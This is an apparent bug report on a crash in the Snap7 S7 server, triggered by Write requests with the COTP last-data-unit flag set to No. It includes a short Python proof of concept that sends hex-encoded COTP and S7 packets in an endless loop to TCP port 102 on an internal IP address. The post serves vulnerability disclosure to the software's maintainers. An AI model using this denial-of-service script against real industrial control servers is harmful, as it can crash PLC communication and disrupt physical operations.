SNAP7 will crash when Func Write and COTP last-data-unit flag is No

[chashao2]

Hello~
I use the snap7 in windows10，when I set COTP last-data-unit flag is No to run Snap7 server.exe it will be crash. Below is the poc.py and exception snapshot.

#!/usr/local/bin/python
import socket

p1 = '0300000b06e00000000100'  # cotp cr
p2 = '0300001902f00032010000000000080000f0000001000101e0'  # s7 setup comm
p3 = '0300001f02f000320100000000000e00000500120a10020016000084000000'  # write var
ip = '192.168.1.101'
s = socket.socket()
s.connect((ip, 102))
s.send(bytearray.fromhex(p1))
s.send(bytearray.fromhex(p2))
while True:
    s.send(bytearray.fromhex(p3))